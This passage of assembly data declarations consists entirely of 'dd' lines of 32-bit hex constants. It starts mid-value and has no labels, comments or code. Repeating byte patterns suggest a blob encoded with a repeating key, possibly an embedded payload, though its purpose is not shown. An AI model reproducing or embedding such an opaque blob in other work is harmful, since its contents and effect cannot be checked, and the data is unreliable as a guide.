0DFAF4932h, 4DD125B0h, 5754BE34h dd 0AFEAB132h, 5641C9DAh, 5A32BE32h, 0BF5DB132h, 56AEB135h dd 0A8D3A879h, 0BEE97506h, 56D5B0CDh, 0A86876CBh, 5673AA4Bh dd 59BAB132h, 565DB0B4h, 0AEFC4832h, 5F9234F4h, 0BFFDB727h dd 56D5B120h, 5D3EA4A0h, 923F9FC0h, 0FE8F3BBAh, 7857F1D2h dd 0D2A1C060h, 5657B133h, 0EEF9D9CEh, 59B52D9Ah, 0A98B7F8Dh dd 435DA087h, 0D3374934h, 5045C38Eh, 56AEB4DBh, 734A5932h dd 8654C5D9h, 56D5BCDBh, 1FBAB732h, 0EEFC4AECh, 885ECDF8h dd 0D3D4595Ah, 50BBA42Bh, 5657B6DBh, 0DC54C32h, 46F7AC8Dh dd 56F3303Dh, 429CB132h, 28BAB132h, 398A8FCDh, 7D5C34h dd 55D7EFD8h, 4E4559h, 3CB4A9D6h, 56824436h, 3675B122h dd 0DC9458B2h, 1635D0D8h dd 0AEAEB23Fh, 0D058B158h, 56ABB133h, 59054ECAh, 56EAB7B7h dd 0EC13D132h, 0CDB8310h, 565C343Dh, 5D52B132h, 0BFD3BEF2h dd 0AEABB132h, 0A85738CAh, 0BFECAA4Bh, 5675B13Ch, 29E0A1E0h dd 52EB991Fh, 5F5BAA11h, 0D4DE6BA2h, 50B0CB1Dh, 5B9508CAh dd 0DD16B131h, 964648CAh, 361042C7h, 6C750A54h, 56AEA1DBh dd 0A276B732h, 8ACA0659h, 155CC5D2h, 1C27AAA9h, 0D47AD013h dd 56BAB13Eh, 98E3D752h, 5625BEF9h, 3757B132h, 52C14960h dd 56D5A3DBh, 74756432h, 0EB86F6B8h, 0C9E31C3Eh, 0EB692C34h dd 3EBF4EA5h, 5657A132h, 52ABD9CBh, 5E3CB132h, 84EAB132h dd 854D6BB0h, 3CE9D8C1h, 40DFBE32h, 0BFAEB132h, 5657B123h dd 0D90A1049h, 91BFEF46h, 0C56BD8F3h, 0CCB7AA0h, 4F284EEFh dd 0BF5BA427h, 56AEB13Eh, 0E24A407Ch, 9D7BFEFEh, 7E0361B6h dd 56FB5868h, 0F6ABB132h, 835DDB4Ch, 63208433h, 0AFC316B3h dd 0DF63FD2Fh, 4DD705B0h, 575FBE34h, 0AAEAB132h, 0D25D153h dd 0EFBE7EB3h, 0DD3CC009h, 4DD74FB7h, 59AFD134h, 95CA7185h dd 56DB5852h, 23B132h, 675CC862h, 0BA8D569Eh, 6FD558A6h dd 56AEB8DBh, 0FAB9A732h, 1FF967C8h, 36B401FAh, 9F6876C7h dd 5673A431h, 0BFBAF132h, 565DB13Eh, 47EFEFFFh, 0C858B3D5h dd 54A70D38h, 0DE163052h, 36867E69h, 7A00B54h, 37DB66B9h dd 54D033F5h, 46AEB727h, 3637B132h, 7D236FB3h, 0BE54ACA1h dd 4FC74F59h, 54F2BE53h, 0DDBAB132h, 363CD0C0h, 0C3B60954h dd 5657A1DAh, 18DC6B32h, 13384933h, 0C246C1C5h, 0BB6BF71Bh dd 10753069h, 95A6B90h, 0BF527253h, 5657B138h, 11271430h dd 797BE167h, 598A4E4Ch, 5675B9B5h, 543CBE32h, 365DB132h dd 56BD5853h, 0B132B132h, 97C9BE24h, 9CF2DECCh, 572F7473h dd 0B8D38DB7h, 0A8003A0Eh, 365BAA4Bh, 56AEBEDBh, 4CB17A32h dd 7389816Ch, 9C76DE08h, 0EB5293C7h, 2195F68Bh, 6939D07Fh dd 80D9BE32h, 59AEB132h, 5657ACB5h, 0D8A4D132h, 56D5B132h dd 56EAA1DBh, 0FA49DA32h, 88C999F2h, 0F32213CFh, 0C44C8095h dd 29D4D076h, 0D2A4B322h, 56D5B163h, 469532CEh, 37F1BE36h dd 59BAB132h, 565DAFBEh, 4E25BE32h, 0BF57B132h, 56ABB121h dd 0DC0814EFh, 0EA48D97Ah, 2356AFD6h, 0FD7A9482h, 0D5B971AAh dd 4247A5F5h, 0A057B132h, 85FDBB6Ah, 6D8CB023h, 466DA386h dd 536308Bh, 0BF6BF22Dh, 0A9A24E48h, 46E976C7h, 5657B133h dd 56ABB8DBh, 0BEBD6F32h, 500212A7h, 929C7932h, 0AA454ECDh dd 554DF6F5h, 36AEB132h, 9A2852B3h, 0D0A4F26Bh, 56D5B134h dd 0B23163B3h, 0BF14B857h, 0A9454E91h, 44B54952h, 3DAEB132h dd 46A0D4ECh, 58EA143Bh, 6842D7BEh, 7655390Dh, 0E943B75h dd 0E0DAD053h, 51B5E60Eh, 15AEB132h, 195C1E38h, 0CF5412Bh dd 0DCB57253h, 36BFD0DDh, 0D57A4AB9h, 56BAB137h, 83933054h dd 0BA25D0E4h, 0AE374DC7h, 0F312D752h, 0AD6ABE62h, 56EA5953h dd 0D72FB132h, 4D2CC2D8h, 0EE3BD134h, 0EEC89062h, 593682CEh dd 56ABB0B7h, 5B3C4432h, 0C9EAB132h, 1162BDADh, 0E1B261C4h dd 9FA5DCE6h, 2A1403B9h, 0DDABB729h, 36CBB977h, 2EC40954h dd 0E68BD052h, 50FCD0D7h, 56B23D3Dh, 0D952B132h, 56AEB130h dd 0D4D4D052h, 50B0CD88h, 56D35836h, 16D2B132h, 0F433F4C0h dd 0BF734453h, 565DB122h, 0B82A387Dh, 2491F540h, 3345B0DEh dd 63444CB5h, 56EE73CBh, 0BE15D1C7h, 56BAB13Fh, 0DBC3F992h dd 73A68FC4h, 76A19DAh, 8C2AEA5Eh, 45BB8518h, 56EA5953h dd 0D72FB132h, 4D2DA2D8h, 0D852D134h, 56AEB131h, 30810E3Dh dd 59CA67B9h, 56D5B0B1h, 0E4614D32h, 506ECD86h, 0EC088AC7h dd 595BAA4Eh, 56AFD4B6h, 56455832h, 0B2CEB132h, 9071ACD3h dd 8B21F6E0h, 978CC832h, 7C67B419h, 46B48FB9h, 8DAEB132h dd 0E33B09B9h, 414C7D7Eh, 661704Ah, 0DD276E05h, 57F7BEEDh dd 0AFBAB132h, 5712073Dh, 57E947CAh, 7FD2BEB2h, 0BFABB132h dd 56D5B139h, 6BEE8997h, 70BB2427h, 552F3FD8h, 57D9BEEBh dd 0A3AEB132h, 5653393Dh, 0DDCBB132h, 5F3CD0EBh, 0AEEAB132h dd 0DC156819h, 37653ADCh, 361E4871h, 56AEA0DBh, 186EC732h dd 94EAA0A1h, 0CF728CBCh, 371FB2F8h, 5C9CA580h, 74BAB132h dd 0BC59BEDAh, 6D571286h, 0D3DCD026h, 50BEB673h, 56D2333Dh dd 68AB132h, 0A5FED76Ah, 67373A53h, 365BA414h, 7613A54h dd 295C7EB3h, 37F0C88Dh, 0D4DA6909h, 56EAB101h, 59AC8ACEh dd 56BA9BB5h, 5DB4D132h, 0DCAEB132h, 998E7A01h, 3917EA07h dd 0D5B41967h, 0AE16B5F4h, 0A98AB1DBh, 5E33BECDh, 595DB132h dd 56AEB3B8h, 6D36D132h, 0D2FBEFDh, 0BFD5B132h, 56EAB13Eh dd 0B934A59Ch, 0FABB0B03h, 1FBEECE5h, 709F0CBBh, 3037B727h dd 0E731418Dh, 5A3CD0CDh, 0FAEAB132h, 43BD257Fh, 10979C0h dd 0BFA863CEh, 0A9514F9Ch, 565D383Dh, 7CBB132h, 5653BE68h dd 37EAB132h, 5675A0DBh, 4BF1F732h, 177AFD64h, 7677638Ah dd 0C1C88123h, 59CA9283h, 56D5AEB5h, 4F69BE32h, 0BF75B132h dd 56BAB126h, 0E95D428Eh, 0E7D9025Ah, 98351B31h, 5FBCFFC7h dd 0F54E5A50h, 0F958D1F1h, 5915D0CEh, 56BABDBAh, 50D1BE32h dd 59AEB132h, 5657B1B5h, 56AB5932h, 0D78FB132h, 4D725AD8h dd 56655834h, 6C77B132h, 8FF19275h, 0C8A24958h, 4212491Bh dd 5D428804h, 97D5B132h, 0B3F79998h, 798D1217h, 0D3B545AAh dd 565DB13Ah, 56AC393Dh, 3737B132h, 2A1F0BB9h, 5D3CB729h dd 30EAB132h, 0B9C0909Bh, 0DBAF1417h, 5CB45149h, 7EAEB132h dd 45DCB5ECh, 6A1EEDBCh, 57D50844h, 68AB132h, 372EEB63h dd 0D6B57101h, 565DB133h, 56A258C7h, 5BD5B132h, 525B8C33h dd 81BE6587h, 0FD19D6A0h, 56725852h, 4DC3B132h, 0D650AAE9h dd 0C5BE32Ah, 0E2D53A53h, 59ADAA4Eh, 56D5B0BAh, 0D4634832h dd 506ECD88h, 56B65952h, 850EB132h, 7004EE4Eh, 8229337Ch dd 8FAA528h, 56DB586Dh, 67E8B132h, 0D1CD8DC5h, 0DC65E24h dd 0D8E9F6F7h, 0DEA1D053h, 5657B125h, 56ABA3DBh, 0E69E732h dd 0E9F0B052h, 0D223F4B0h, 0E7DC3F4Fh, 0AE0A21EEh, 36CE44F1h dd 5657BADBh, 5E12A832h, 134BA1E4h, 6C1D3E08h, 0BE8CD0CAh dd 56BAB132h, 0AFB73068h, 0A3A8AAABh, 5657B9DBh, 7F3EFF32h dd 4CCCF8D7h, 5E6CBE15h, 5975B132h, 56BAB3BBh, 903CD132h dd 43A774B7h, 3037E734h, 371B1D88h, 49B8885Ah, 0DD8CD1E6h dd 0A8FED7CBh, 5A39BE53h, 595DB132h, 56AEB7B7h, 56D2BE32h dd 0A9ABB132h, 43FDA087h, 56E05834h, 0E79BB132h, 377FD466h dd 9EB293D0h, 241234BFh, 3037B72Ah, 596DCF8Dh, 56D5B4BBh dd 0A2070832h, 5914819Bh, 56BAB0BAh, 86A24932h, 56A43B3Dh dd 0E037B132h, 562FBE29h, 37D5B132h, 0E88CD160h, 0ED1370DAh dd 0BFDBAFD2h, 565DB13Ch, 9EE80A56h, 0FF7FD7B5h, 72BBAD91h dd 0BF855AEAh, 56EAB138h, 0F1E5FD8Bh, 0B3411B80h, 56359D01h dd 36AEB1B2h, 5957DB53h, 56ABA3B3h, 56D85832h, 4B9B132h dd 0E6D87C96h, 94FA59BFh, 0A96C6465h, 4DD74F80h, 5EDFBE34h dd 59ABB132h, 56D5B3B4h, 0A98BD132h, 0E894DE2h, 56BAB6DBh dd 816B8B32h, 0F1CC1C85h, 45BEE052h, 0AFABB132h, 7E1618BAh dd 0C107F34Eh, 54006DDh, 644AEA1Bh, 0BF05AFEDh, 56AEB122h dd 0BB125E1h, 7677104Eh, 8A1A3B88h, 0F2543C64h, 0D77AEB53h dd 56BAB133h, 0D65DD9CEh dd 59CEB132h, 42BE4885h, 0E3ABB132h, 0A7B5599Fh, 764FDFADh dd 70C8CCDFh, 0B886BCADh, 37E711C8h, 5629BE52h, 0AA57B132h dd 59ABDB53h, 56D5B0B8h, 0E4154432h, 506ECD86h, 56B23D3Dh dd 0D452B132h, 56AEB130h, 86A8D052h, 56B73D3Dh, 0D6B5B132h dd 440362F0h, 0B675B132h, 0B212185Dh, 0A45CB908h, 2B3E02Eh dd 5168D253h, 0BFCAD0BBh, 56D5B137h, 61EFB491h, 5E9C7248h dd 6FBAB132h, 422373E3h, 38F5463h, 0A6DCD152h, 56ABA2DBh dd 6E920832h, 2883A584h, 55085243h, 34A3F0A4h, 0A0971B29h dd 562CBE53h, 3757B132h, 58425DB9h, 8CD5B132h, 0A5B5AA0Fh dd 0A97A5887h, 0BB0A86Bh, 5BB4D14Ah, 0E9AEB132h, 0FD7A5962h dd 683B9CA5h, 0DAD42B50h, 56EAB1DAh, 0BCF4EB32h, 50A12D20h dd 57D8BEC7h, 0AEAEB132h, 595FC4B9h, 56ABB6B4h, 575BBE32h dd 0AEEAB132h, 567BEEDAh, 56AA5832h, 4114B132h, 0A0BB15A8h dd 15C3EFA4h, 87882B86h, 583CC7B6h, 8FEAB132h, 2F55C04Fh dd 0ADE28CEBh, 0D54F8981h, 0A952E400h, 4D2D32A0h, 56BA5834h dd 0CE15B132h, 80B7818Dh, 0A37C7161h, 7BEB3D9Dh, 0B59B3A8h dd 56BF393Dh, 0D658B132h, 56ABB139h, 56D5B7DBh, 975D7A32h dd 6D63B94Bh, 0D3B5BD47h, 0A9A24EA6h, 5B5C59CEh, 5DBEB132h dd 1DABB132h, 0BB3150BFh, 15F4358Bh, 3789B174h, 266A3052h dd 0BE1B89CEh, 56AEB13Bh, 3976122Eh, 4CDA6612h, 56C4583Dh dd 0EC5BB132h, 185A4FB3h, 81603DBh, 4449B060h, 0E3BC615h dd 0BF377853h, 56ABB13Ch, 9DACF362h, 70B640EDh, 8465AB6Ah dd 0D7DAEB93h, 59469E5h, 37CF443Bh, 5957B9F0h, 56ABA4BBh dd 56C55832h, 0FC0CB132h, 0FE2F8AE5h, 4BAADA4Dh, 6F4BA8AFh dd 0AAFBC79Ch, 0D5A25DB9h, 534DF6h, 56D5BBDBh, 70D9C632h dd 3ED01717h, 590AFD6Bh, 565DB0B4h, 0BFF94432h, 5657B120h dd 58BDA557h, 76EFFDE9h, 0E310149Ah, 0DFFADD58h, 59E9B0F6h dd 565DA5B9h, 56A15832h, 7052B132h, 6B60D6E5h, 87E203F0h dd 46DCECE2h, 5675590Ch, 0D7E0B132h, 4DC0C6D8h, 0D6CE4434h dd 0DD311ADCh, 2320D0CAh, 513CD13Ah, 97EAB132h, 0E116284Ch dd 530D8A7Bh, 40D7BE53h, 0BFAEB132h, 5657B123h, 1C18FC57h dd 0B5603C65h, 42482153h, 39DCCD17h, 46C73A2Ah, 5653383Dh dd 0D7CEB132h, 0AFD717D3h, 5629BE0Bh, 37D5B132h, 56E25865h dd 8107B132h, 37FDD9A1h, 360B697Eh, 56AEA5DBh, 3913D032h dd 669D0CBFh, 0FDC6E778h, 0CD36BFFh, 0E68A416Ch, 0BE3BD7FDh dd 0BE3C3410h, 56AEB001h, 5657B8DBh, 0E0ECE632h, 6E07609Bh dd 96E13929h, 56C5353Dh, 5E53B132h, 0AD5DB132h, 9228A7CEh dd 0DD331176h, 892BD1CAh, 56C65854h, 6815B132h, 0BB73DEE5h dd 850E7E1h, 0A236B2B2h, 4E4AE7D7h, 3602D053h, 0D5394E53h dd 59D3AA48h, 56EAB0BCh, 36284832h, 847C3054h, 373DE65Bh dd 2395D06Ch, 9D3BE3Eh, 36ABB132h, 2156989h, 0C528303Bh dd 37235761h, 0DDDCD052h, 564F582Ch, 8A63B132h, 0D729485Eh dd 5D7DB4E8h, 5AA10416h, 0B12C4268h, 0A38556B2h, 3642AFB8h dd 7412958Ch, 3A6C0A77h, 0D636A99Ah, 0ECCB41D1h, 0A9E0A09h dd 0BDBD6BB3h, 0BE14DE40h, 56BA95D2h, 5BB449CAh, 59514ECDh dd 5657B0B5h, 2B224432h, 693D49CEh, 0BF154EC4h, 5675B122h dd 1FE74435h, 9B866413h, 408F69B8h, 611A90E3h, 0DDA4EACEh dd 56D5B13Ch, 56EAB8DBh, 0FB20F332h, 0C924FB3Ah, 0BF02A547h dd 56AEB139h, 0F74A3DA9h, 20F51901h, 8E75A09h, 0AAAF3ACEh dd 539C78CAh, 0CBAB132h, 5D7C7EDh, 0BFAEBDF0h, 5657B13Ch dd 9A7AAA8Dh, 109847C8h, 30E179C8h, 3801AA6h, 0AD683152h dd 0A973054h, 0BA25D034h, 5657A2DBh, 6DCA8D32h, 3952564Eh dd 547AB084h, 0E9F46C60h, 8ABAEB91h, 0BFA575B1h, 56AEB13Dh dd 0C6C8E2F1h, 3ADCB922h, 9D166338h, 0BF2E467Bh, 5675B121h dd 0D917E9Dh, 0D45F51A8h, 96F62D18h, 242ECA96h, 13A6BC7h dd 56C73E3Dh, 5B03B132h, 1E75B132h, 695D134h, 728E4A8Ah dd 23275F4Fh, 59BED164h, 93ABB132h, 1515FC12h, 55A3DE32h dd 2FA8CB70h, 0EFDC5DCEh, 73C6BC3h, 56AEB6DBh, 3F3AA632h dd 5E331237h, 56D43D3Dh, 51FB132h, 5674323Dh, 0AA43B132h dd 56A5F4F5h, 0BFAEB132h, 5657B13Ah, 4D09B06Ah, 676590D8h dd 2AC433F5h, 5674B729h, 0DCB5B132h, 565DB133h, 5EDB3ACAh dd 0D558D152h, 56ABB132h, 506BD0C7h, 37A36059h, 596B3A54h dd 56BAB9B8h, 54D7BE32h, 36AEB132h, 0A8ED3A53h, 36ADAA4Bh dd 593C6681h, 90EAB132h, 8A95457Ah, 654EB803h, 0EAA0393Fh dd 0DDCF1E9Bh, 0DE58B96Dh, 56ABB133h, 590EBAC7h, 56EACBB6h dd 0D7154432h, 0AB5C2BF0h, 50D2BE72h, 0D7AEB132h, 7938E1FCh dd 8890D000h, 56FA343Dh, 0AF13B132h, 3679ECB9h, 0EDDC48B9h dd 0BF3CA887h, 56AEB13Fh, 7D4CD8D9h, 0EA54BDD5h, 78C5F761h dd 5AB5388Ah, 5675B9DBh, 0CC8BFE32h, 0BAFD0D4Ch, 4269327Dh dd 3737E252h, 56A35869h, 7BFAB132h, 0A9D5FA6Ah, 0BF142B3Bh dd 0A9454EB5h, 565DBFDBh, 0ED3A8732h, 57F278A4h, 33069157h dd 307D8BB6h, 0D3E5AFB9h, 5675B13Ah, 56B8363Dh, 373DB132h dd 56AEBADBh, 0CFBEE632h, 0CF1BE806h, 0A0861D2Fh, 59024AB2h dd 5676FBB6h, 0AD3A4D32h, 16D9BEDBh, 36AEB131h, 5657323Dh dd 0D7FBB132h, 47820DEAh, 0D68BE91Dh, 0D27A5AC9h, 56BAB215h dd 565C373Dh, 0D656B132h, 0D25853C9h, 56ABB3EAh, 0AD55D052h dd 0E96EBED1h, 0BF75B130h, 56BAB123h, 1DA10F27h, 0A0A2E111h dd 7A4F184Dh, 0A076489Fh, 0AD54D7FCh, 0D2E55255h, 5675B39Eh dd 56AC383Dh, 0DC52B132h, 56AEB122h, 5657BADBh, 10ED1032h dd 91BDA2DFh, 0B683FF9Dh, 0BF8556B2h, 56BAB13Ah, 22779BFAh dd 555539F9h, 59AC3054h, 0E22FBEB2h, 36D5B130h, 0A6093153h dd 5675BADBh, 0FD350F32h, 4390CD9Bh, 0F6F64D57h, 59274AB2h dd 56A927B6h, 0D6B54432h, 371328FDh, 366B3A54h, 10CED08Ch dd 0B5DDD008h, 15BD1CAh, 5657BDDBh, 282DD132h, 28996EC2h dd 2203094Ch, 0D614EE32h, 0D2B509C9h, 565DB066h, 539031CEh dd 571D353Dh, 0D652B132h, 0D2DA9C0Ch, 56EAB072h, 3E4B31CBh dd 578C353Dh, 44B4B132h, 0EBAEB132h, 8DBEA8F4h, 37DFA953h dd 0A2D2B31h, 7E3B0E4Dh, 78F74ED8h, 0BFBCAA4Eh, 565DB120h dd 358138CAh, 0CE68FFDFh, 412F1116h, 6FB186DDh, 0DD8C9DCEh dd 0B1F5442Ch, 0D7DC4DCAh, 59B530C9h, 56AE5EB6h, 30AB4D32h dd 0D65EAFB9h, 0D5DA41D5h, 56EAB133h, 0ADF4D7CEh, 0D2B571B3h dd 565DB1E6h, 56B63C3Dh, 45BEB132h, 0C5ABB132h, 17F9DD73h dd 327B7B65h, 0F856D891h, 1A52888Ah, 5AB4F523h, 8BAEB132h dd 389643B6h, 0C454B345h, 367E68ADh, 56EB323Dh, 368DB132h dd 56B8373Dh, 0F8E9B132h, 37205EB2h, 565A5867h, 7B8CB132h dd 4D3BEED2h, 70DDE0E4h, 0AA90E203h, 2C3923CDh, 0D152B729h dd 56AEB138h, 59A63A52h, 56ABB1B5h, 0A388D032h, 56E1393Dh dd 509CB132h, 6EBAB132h, 0DD139052h, 0AAEB38BFh, 5642323Dh dd 0D1A4B132h, 56D5B13Dh, 56EABBDBh, 6DE39C32h, 4D2AC179h dd 3747A492h, 0AAD332CEh, 5BD2BE33h, 36ABB130h, 56D5BDDAh dd 78F99A32h, 8DFB29CBh, 0C752F5FEh, 565158C8h, 9AE8B132h dd 0FF1B31F3h, 0B4EE27ADh, 308EEFECh, 375F198Ch, 55BC0BB9h dd 0D9B5B727h, 565DB139h dd 56AEB7DBh, 8892F132h, 65604ADh, 56D95852h, 5C58B132h dd 4731D20Ah, 27A76D5Eh, 0E95236F2h, 30CED0F0h, 0AEAAE888h dd 78293A53h, 36D3AA4Eh, 0D5DF0B54h, 66498853h, 7105D752h dd 0BB9F30A1h, 37EF2C08h, 0DBD5BE6Ah, 0AAABB133h, 54580BB9h dd 61FB727h, 0DDAA0152h, 0D431D0E4h, 5046CD1Ch, 56BE5852h dd 0B18DB132h, 9CE833B7h, 691FBCA7h, 0BA9C9816h, 0A7FE73F7h dd 6A834D53h, 50B5D102h, 91AEB132h, 840419BCh, 8620D7A0h dd 3712026Ah, 1765BE6Ah, 0BF75B133h, 56BAB126h, 386E8EDDh dd 0D94E8CC3h, 2AA018Fh, 6AC661B3h, 0EAE5497Ch, 56EAFFDBh dd 13B24D32h, 56BAB3CAh, 16B44432h, 0A3AEB132h, 57AFF4F5h dd 36ABB132h, 56D5BFDAh, 7EB17032h, 455F576h, 7B7CB811h dd 0EEAF607Bh, 1FBE022h, 62E9D769h, 4242D09Bh, 0AD5B132h dd 7F570FD6h, 8B797CAFh, 58118F59h, 3E0D8E64h, 0DD7AD668h dd 4D2E4F88h, 5728BE34h, 0AAD5B132h, 0DD8AAEB9h, 0A1FED7EAh dd 5961BA53h, 565D06B6h, 88954832h, 563B343Dh, 0DAA4B132h dd 56D5B133h, 526BBECBh, 3675B132h, 0DDDB0C85h, 50B4BD6Fh dd 21AEB132h, 1865288Dh, 2B2844E4h, 0D2DAB1CAh, 56EAB106h dd 567D3C3Dh, 0DEB5B132h, 565DB130h, 4647D052h, 2857B132h dd 5D072411h, 8DF767B8h, 1D3E6492h, 55801AE9h, 0D9B5496Fh dd 565DB13Ah, 56AC363Dh, 3737B132h, 0BFAFEEBBh, 56D5B137h dd 0BDD41AFCh, 91F64885h, 56BF5826h, 6814B132h, 5938B9CBh dd 5657BDB5h, 5022BE32h, 59D5B132h, 56EAB1B6h, 0A9235832h dd 0D9B54ECDh, 565DB133h, 366E82CAh, 60BED0CBh, 59ABB136h dd 56D5B6B4h, 378AD132h, 37AE0E3Dh, 0BFA43A54h, 565DB13Fh dd 0B694BDE6h, 0D8A51AD0h, 81713ADFh, 5AA83A99h, 0AD6A48CEh dd 68F1BED9h, 0BFBAB132h, 565DB121h, 711BD88Fh, 0F1DED162h dd 0CB6B96D7h, 1C69F9ACh, 0D655DD88h, 0D71541D1h, 2C5D66D5h dd 565B587Bh, 454EB132h, 0CD4728BFh, 26503153h, 56A1353Dh dd 0BF16B132h, 5675B1DFh, 0BFBD77CAh, 565C3F3Dh, 9157B132h dd 5657B075h, 5B42B132h, 0A5D5B132h, 0FF8A81DEh, 92935C19h dd 0DC3ABE96h, 5CB476B9h, 0EFAEB132h, 829327DEh, 254E8AEAh dd 53153237h, 56FD323Dh, 3015B132h, 5B536FB9h, 4D5DB132h dd 0AC7C9ABAh, 31ACAD8Eh, 0CF51801Dh, 55BA5853h, 0BF8AB132h dd 5675B137h, 74DE3B33h, 80DCE6E3h, 35D09200h, 9131D068h dd 36A3BE35h, 60023054h, 4860D04Fh, 98843052h, 0AE81F9A8h dd 59BE3153h, 56BB383Dh, 46BEB132h, 31ABB132h, 0FFC8F5ADh dd 0B3B3B27Ch, 0F1E5FD8Bh, 0D6411B80h, 0DC5231F9h, 56AEB13Eh dd 56513A3Dh, 0DFA4B132h, 56D5B132h, 56EAB7DBh, 31A63D32h dd 0DE2C8C85h, 36A4B06Dh, 0DD5E3A54h, 1190D0E3h, 56ABB130h dd 915E4832h, 502A32CBh, 0DF7A4852h, 56BAB130h, 0BF3C56B8h dd 56AEB3EFh, 68D6D7CBh, 0D2A421A2h, 56D5B10Ch, 56ED3A3Dh dd 3015B132h, 0CB4D5EB3h, 0C6633153h, 5694343Dh, 5937B132h dd 30CA7A8Dh, 0C62ACFB3h, 416EBEA2h, 0A375B132h, 0DDB5E052h dd 565DB132h, 197F3069h, 370FD5ADh, 56ABA2DBh, 915E4432h dd 546158CBh, 539CB132h, 74BAB132h, 9F57BC67h, 2A4D33BFh dd 0DD58B729h, 56ABB13Ah, 56D7373Dh, 378AB132h, 50F0BE62h dd 36BAB132h, 0B2E20854h, 4447E753h, 0C357B132h, 4D62A564h dd 0DFE8A179h, 3CD69888h, 0C08F5Fh, 0C2284E46h, 365BAA48h dd 324C3054h, 0CEA73033h, 37C50768h, 0F83D3052h, 59F8EF23h dd 5675B2BFh, 9C31D732h, 599DBA53h, 56AEEAB6h, 56465832h dd 0CB68B132h, 60443D5Dh, 0DBEDB2CEh, 6F7B1557h, 0DD2ACD44h dd 4FD3BEFAh, 59AEB132h, 5657A2B1h, 56A55832h, 3103B132h dd 7D0F1232h, 0A32CC2CBh, 765EAF4Dh, 2ABE03BFh, 4CEB729h dd 0F1C5CB2h, 72483054h, 0C33CD0DFh, 0BFEAB132h, 5675B13Ah dd 375F207Fh, 0D55D36B0h, 98254464h, 0B5D6D752h, 0D7CD9D7Bh dd 371D96FAh, 0BF8AE4C7h, 5675B138h, 1BB5614h, 0C308CBB8h dd 0DCA17FBCh, 5657B130h, 0A9CAD052h, 4DAF32A0h, 4F6BBE34h dd 3675B132h, 46534BB8h, 415DB132h, 1C11A3CEh, 96180D89h dd 0C28BC707h, 3793E1CFh, 0DD8CD16Fh, 1ECAD7ECh, 9891D0C2h dd 565DBEDBh, 986AF132h, 17D51215h, 510DE67Fh, 8F421C4h dd 81F68C5h, 5675BEDBh, 0F5708832h, 50DB8905h, 1F8285B4h dd 5FCFBB20h, 5753CCB1h, 5649343Dh, 4503B132h, 5F75B132h dd 0B53948A9h, 0E908F525h, 0C08E9965h, 0C08DD9E2h, 1F1BC2B8h dd 56D5A3DBh, 0F3BBE532h, 5216C9ABh, 3A2D05CCh, 6A84F718h dd 5974DF88h, 5657B8B5h, 0CFDD132h, 0C0B3054h, 5940D003h dd 5675BDBAh, 503ABE32h, 595DB132h, 56AEB1B6h, 59EFD732h dd 56A458B7h, 72FEB132h, 0F482E67h, 0BC08B9D4h, 0B5114881h dd 36F6D70Dh, 37C554B2h, 5711073Dh, 56A33B3Dh, 0D8DAB132h dd 56EAB130h, 0AADED052h, 56BA3ADBh, 56515832h, 8E16B132h dd 43110F2Dh, 0D8E7BE92h, 2B565215h, 0D3E5B3CAh, 5675B153h dd 0A13BD752h, 303CB854h, 5967BA8Ah, 5657B0B4h, 0FDCD4D32h dd 56C45952h, 47F7B132h, 0BABDC419h, 7F681985h, 1AC910F6h dd 0D6BA502Fh, 5909ADD0h, 56ABB4BBh, 8E54D732h, 308B329Ah dd 59F1BE8Ah, 56BABDBEh, 50D5BE32h, 59AEB132h, 5657B1B2h dd 0AA00D732h, 5793073Dh, 0BF131ACBh, 5675B122h, 591E42CBh dd 565DB6B2h, 0D7C8D132h, 371102E8h, 444276B9h, 0F5D5B132h dd 285EC672h, 93877124h, 0E358233Ah, 0DEE79FD0h, 0D5A1EA62h dd 5657B12Dh, 56B2333Dh, 423CB132h, 9EEAB132h, 0FA4DCC44h dd 6620BA2Eh, 29ED7E9Ch, 11B62B91h, 5982F1E3h, 56ABB0B8h dd 368C4D32h, 6B15EB2h, 372A8281h, 4232BE6Ch, 595DB132h dd 56AEBFB4h, 565E5832h, 9F19B132h, 81E2E98Bh, 9CBCE0Ch dd 5674333Dh, 9F4FB132h, 565573CBh, 0F97F3052h, 5906F698h dd 56ABB3B1h, 37620332h, 4F62BE67h, 0BF75B132h, 56BAB126h dd 0D278DD3Ah, 52993E48h, 3FF7EE60h, 0A3D5B440h, 5882D44Ch dd 0DCE55DB9h, 5675B13Eh, 56BC3E3Dh, 0DA52B132h, 56AEB132h dd 5658303Dh, 5C42B132h, 0D6D5B132h, 0D25E64B2h, 2BC17D99h dd 0DEB5D1CCh, 565DB135h, 8F19BE52h, 0BE367A80h, 56ABB132h dd 5F3F3068h, 36ECAA98h, 5675B6DBh, 8BD11B32h, 0FEF4DED2h dd 56AEA2DBh, 0BCB41932h, 61087B0Bh, 0D0D3370Ah, 44A39D06h dd 0EB7C2938h, 56B35853h, 0D85B132h, 0C9B231C3h, 0DD0322D1h dd 0DCCBB977h, 0D45CD0C6h, 50F1CB74h, 5675B9DBh, 0C7070732h dd 0E93DC747h, 5947D0BAh, 0F157B132h, 0C93A96AEh, 0A799F9FCh dd 9A0ECBE1h, 36BCF32Dh, 59623A54h, 943C498Dh, 4747B136h dd 0E357B132h, 4BAA5CAEh, 94EC03B6h, 0C3EDEA64h, 53DB778Ah dd 4253D167h, 0A85DB132h, 0DBF5F56Fh, 0CDEA6143h, 2962B13Fh dd 1FEA34B0h, 37753781h, 0AA895DB9h, 0AA4275B1h, 565C383Dh dd 365BB132h, 5657BBDBh, 7EFD6032h, 0C656C90Bh, 0BE442086h dd 5675B132h, 83503068h, 595BAA98h, 56AEB0B2h, 42BE4D32h dd 75ABB132h, 411D07A6h, 0E9422B21h, 8DCB6BB2h, 3466AAAEh dd 91E7CD72h, 56AE4977h, 91A2B132h, 56AB4D77h, 0D2DAB132h dd 56EAB133h, 59B582CBh, 56BAB4B2h, 0DD3BD132h, 0DDC8D0F1h dd 91AE482Ch, 4DD79FB0h, 56D5B034h, 8C6BD132h, 4A4394F4h dd 438F0B54h, 0ADDCD753h dd 0D3A121A2h, 5657B13Ah, 56AA3D3Dh, 0A32DB132h, 59024AB2h dd 56714DB6h, 4752D132h, 5DB132h, 0BF0A0FBFh, 261E1B8Ah dd 725DF2BCh, 8C190044h, 3C100B54h, 66BE306Bh, 37C2D1EFh dd 564E5872h, 0A29BB132h, 0C219D1EDh, 4BD4BB41h, 51D48650h dd 38E2D099h, 9EFED1CAh, 56BAA3DAh, 0A2F80B32h, 0DFB797FDh dd 4967204Ch, 7FDA1574h, 302C20CBh, 37B476B9h, 599C4AB2h dd 56BE29B6h, 56575832h, 63D3B132h, 0AF3A16B3h, 749FFD2Fh dd 56DE3E3Dh, 0D68AB132h, 8FF4B7FEh, 